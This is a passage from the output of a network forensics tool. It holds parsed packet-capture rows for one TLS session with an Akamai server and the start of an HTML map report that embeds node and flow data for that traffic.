\"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37819, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 3507103514, \"\"ack\"\": 2818113989, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 63935, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 409, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\rq\\\\xfc@\\\\te\\\\x02\\\\x96r\\\\x8fu\\\\xa0 4\\\\xc8\\\\xf8\\\\xc7R\\\\x0c\\\\xa4\\\\r\\\\xa0pm\\\\x93\\\\xb5\\\\xeb\\\\x08\\\\xd6\\\\x92\\\\xb6+\\\\xee\\\\x9c\\\\xc4\\\\x05\\\\xbd\\\\x08=r\\\\x03}\\\\xec\\\\x88\\\\xc1+\\\\xbcW\\\\x93\\\\xd6=\\\\x88\\\\xf4\\\\xa2\\\\xa3\\\\xe6GR@\\\\xe53\\\\xf8%\\\\xe4\\\\xba\\\\x90#\\\\x83\\\\xec]\\\\xd0k)k\\\\xc4\\\\xae[\\\\xc5c\\\\x16@\\\\xbb\\\\xcc\\\\xb2\\\\xff\\\\x94\\\"\"\\\\xdcV\\\\x1f4D5\\\\x0b\\\\xbc\\\\xeb\\\\xb5-\\\\xd5\\\\xcdE\\\\xa5\\\\xfaK\\\"\"@\\\\'\\\\xdd^\\\\xca\\\\x81$\\\\xa6\\\\xf7\\\\xcb\\\\xe4LW\\\\x93\\\\xbbxXD\\\\x18\\\\x95\\\\xd2\\\\x96D\\\\x15\\\\x9b7\\\\x06q\\\\x06c\\\\x91K\\\\xbcM=\\\\xa0\\\\xe8\\\\x1e\\\\xaeJ\\\\xb9\\\\xe40\\\\xc9:\\\\x90\\\\x06\\\\x17\\\"\"\\\\x00\\\\x92\\\\x08\\\\x964]\\\\x03\\\\x17q\\\\xd8\\\\x1cZR\\\\x0b\\\\xb7;5\\\\xc9B\\\\x0ckp\\\\xd1\\\\xf2\\\\x0e\\\\x86\\\\xb6e=!\\\\x82O\\\\x90\\\\xcb\\\\xbc\\\\xfd\\\\xa8\\\\x13m\\\\x90\\\\x8a1\\\\xa2\\\\x16\\\\xb9W\\\\xf9\\\\xd6-\\\\x94>p\\\\xf6\\\\x7f=\\\\xf4\\\\xf57\\\\xa6\\\\x97\\\\xd3\\\\x82\\\\xe4#|F@\\\\xf8\\\\x05\\\\x0b/\\\\xad\\\\xe7\\\\xec(\\\\xe9X\\\\x9c\\\\xc6\\\\xbc\\\\xfb\\\\xd0\\\\xf7\\\\xcb\\\\x0c\\\\xaa\\\\x82\\\\xa9;0J\\\\x15\\\\x8c\\\\xc5\\\\x16\\\\x881\\\\x9b\\\\x18\\\\xd1\\\\xb5\\\\x9e$\\\\x0c\\\\x143\\\\xa3\\\\t\\\\xb2\\\\xf8\\\\xa651;\\\\xa5\\\\xf2\\\\xa6\\\\xe6\\\\xf5Ua\\\\xa99`4\\\\x92*$\\\\x80\\\\x06\\\\x91\\\\x86\\\\x98Q\\\\xde\\\\x95~\\\\xd4\\\\x82(\\\\xe5\\\\x9d>\\\\xefs=\\\\xe7y\\\\xb6\\\\xcb\\\\x9b\\\\xa8m!\\\\xc8\\\\xd6K|\\\\x9a\\\\xb6\\\"\"I\\\\x88\\\\x8c\\\\xa1 \\\\xf0-z\\\\xdb\\\\x01\\\\x13\\\\rr\\\\n\\\\xa1D4)\\\\x14\\\\xc9\\\\x90\\\\xcc\\\\xba\\\\x89\\\\x04r\\\\xcc\\\\x17\\\\xcc\\\\xf7%j,(\\\\xfb\\\\x80\\\\xd3\\\\x8a4\\\\xa0\\\\x12\\\\xd6\\\\x8eI\\\\xce\\\\x15]v\\\\x86\\\\x1c{+6\\\\x02\\\\x89\\\\xbf\\\\xb0X>]\\\\xdd\\\\\\\\\\\\x8d\\\\x95\\\\x0f\\\\xda\\\\x0b\\\\xf1^F\\\\x03\\\\x16$=t\\\\xd6\\\\xe5\\\\x86\\\\xce\\\\x158\\\\xb8\\\\xe23\\\\xddI\\\\xecv\\\\xc2A\\\\xb9\\\\xb7\\\\xecu' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-05-25 06:02:47.152660,16,TCP 10.152.152.11:63940 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63940,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2818113989 Ack=3507103928,bc24112907bbbc2411360d0c0800450000288a174000800678b10a98980bb81e9d45f9c401bba7f901c5d10a28b850102010f8bb0000,\".$.)...$.6\n...E..(..@...x.\n......E.........\n(.P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35351, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30897, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 2818113989, \"\"ack\"\": 3507103928, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8208, \"\"chksum\"\": 63675, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-05-25 06:05:32.493064,17,TCP 10.152.152.11:63940 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63940,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=2818113989 Ack=3507103928,bc24112907bbbc2411360d0c0800450000288a184000800678b00a98980bb81e9d45f9c401bba7f901c5d10a28b850112010f8ba0000,\".$.)...$.6\n...E..(..@...x.\n......E.........\n(.P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35352, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30896, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 2818113989, \"\"ack\"\": 3507103928, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8208, \"\"chksum\"\": 63674, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-05-25 06:05:32.493184,18,TCP 184.30.157.69:443 -> 10.152.152.11:63940,184.30.157.69,10.152.152.11,443,63940,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=3507103928 Ack=2818113990,bc2411360d0cbc24112907bb080045000028ad70400040069558b81e9d450a98980b01bbf9c4d10a28b8a7f901c65011003ff8210000,\".$.6\n..$.)....E..(.p@.@..X...E\n........\n(.....P..?.!..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44400, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38232, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 3507103928, \"\"ack\"\": 2818113990, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 63521, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-05-25 06:05:32.493368,19,TCP 10.152.152.11:63940 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63940,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2818113990 Ack=3507103929,bc24112907bbbc2411360d0c0800450000288a194000800678af0a98980bb81e9d45f9c401bba7f901c6d10a28b950102010f8b90000,\".$.)...$.6\n...E..(..@...x.\n......E.........\n(.P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35353, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30895, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 2818113990, \"\"ack\"\": 3507103929, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8208, \"\"chksum\"\": 63673, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 19, \"total_bytes_sent\": 1359, \"total_bytes_received\": 4888, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [63940], \"first_seen\": 1779688965.999135, \"last_seen\": 1779689132.493368, \"packets\": [{\"num\": 0, \"time\": 1779688965.999135, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1, \"time\": 1779688965.99916, \"size\": 66, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1779688965.999475, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1779688966.00003, \"size\": 240, \"direction\": \"sent\"}, {\"num\": 4, \"time\": 1779688966.000039, \"size\": 54, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1779688966.337499, \"size\": 3470, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1779688966.337692, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 7, \"time\": 1779688966.381723, \"size\": 340, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1779688966.381995, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 9, \"time\": 1779688966.392725, \"size\": 180, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1779688966.392743, \"size\": 54, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1779688966.761586, \"size\": 328, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1779688966.767384, \"size\": 549, \"direction\": \"sent\"}, {\"num\": 13, \"time\": 1779688966.767411, \"size\": 54, \"direction\": \"received\"}, {\"num\": 14, \"time\": 1779688967.105333, \"size\": 468, \"direction\": \"received\"}, {\"num\": 15, \"time\": 1779688967.15266, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 16, \"time\": 1779689132.493064, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 17, \"time\": 1779689132.493184, \"size\": 54, \"direction\": \"received\"}, {\"num\": 18, \"time\": 1779689132.493368, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 166.4942328929901, \"avg_packet_size\": 328.7894736842105, \"packets_per_second\": 0.11411806685347331}, {\"id\": \"184.30.157.69\", \"ip\": \"184.30.157.69\", \"packet_count\": 19, \"total_bytes_sent\": 4888, \"total_bytes_received\": 1359, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1779688965.999135, \"last_seen\": 1779689132.493368, \"packets\": [{\"num\": 0, \"time\": 1779688965.999135, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1779688965.99916, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1779688965.999475, \"size\": 54, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1779688966.00003, \"size\": 240, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1779688966.000039, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1779688966.337499, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1779688966.337692, \"size\": 54, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1779688966.381723, \"size\": 340, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1779688966.381995, \"size\": 54, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1779688966.392725, \"size\": 180, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1779688966.392743, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1779688966.761586, \"size\": 328, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1779688966.767384, \"size\": 549, \"direction\": \"received\"}, {\"num\": 13, \"time\": 1779688966.767411, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 14, \"time\": 1779688967.105333, \"size\": 468, \"direction\": \"sent\"}, {\"num\": 15, \"time\": 1779688967.15266, \"size\": 54, \"direction\": \"received\"}, {\"num\": 16, \"time\": 1779689132.493064, \"size\": 54, \"direction\": \"received\"}, {\"num\": 17, \"time\": 1779689132.493184, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 18, \"time\": 1779689132.493368, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Haarlem\", \"lat\": 52.3803, \"lon\": 4.6422, \"asn\": 16625, \"isp\": \"Akamai Technologies, Inc.\", \"network\": \"184.30.156.0/22\"}, \"duration\": 166.4942328929901, \"avg_packet_size\": 328.7894736842105, \"packets_per_second\": 0.11411806685347331}];\n        const edges = [{\"source\": \"10.152.152.11\", \"target\": \"184.30.157.69\", \"packet_count\": 10, \"total_bytes\": 1359, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [63940], \"dst_ports\": [443], \"first_packet\": 1779688965.999135, \"last_packet\": 1779689132.493368, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1779688965.999135, \"timestamp_iso\": \"2026-05-25T11:32:45.999135\", \"timestamp_human\": \"2026-05-25 11:32:45.999\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 35344, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 2818113181, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 2, \"timestamp\": 1779688965.999475, \"timestamp_iso\": \"2026-05-25T11:32:45.999475\", \"timestamp_human\": \"2026-05-25 11:32:45.999\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 35345, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 2818113182, \"tcp_ack\": 3507099538, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 3, \"timestamp\": 1779688966.00003, \"timestamp_iso\": \"2026-05-25T11:32:46.000030\", \"timestamp_human\": \"2026-05-25 11:32:46.000\", \"size\": 240, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 35346, \"ip_len\": 226, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 2818113182, \"tcp_ack\": 3507099538, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1779688966.337692, \"timestamp_iso\": \"2026-05-25T11:32:46.337692\", \"timestamp_human\": \"2026-05-25 11:32:46.337\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 35347, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 2818113368, \"tcp_ack\": 3507102954, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 8, \"timestamp\": 1779688966.381995, \"timestamp_iso\": \"2026-05-25T11:32:46.381995\", \"timestamp_human\": \"2026-05-25 11:32:46.381\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 35348, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 2818113368, \"tcp_ack\": 3507103240, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 9, \"timestamp\": 1779688966.392725, \"timestamp_iso\": \"2026-05-25T11:32:46.392725\", \"timestamp_human\": \"2026-05-25 11:32:46.392\", \"size\": 180, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 35349, \"ip_len\": 166, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, 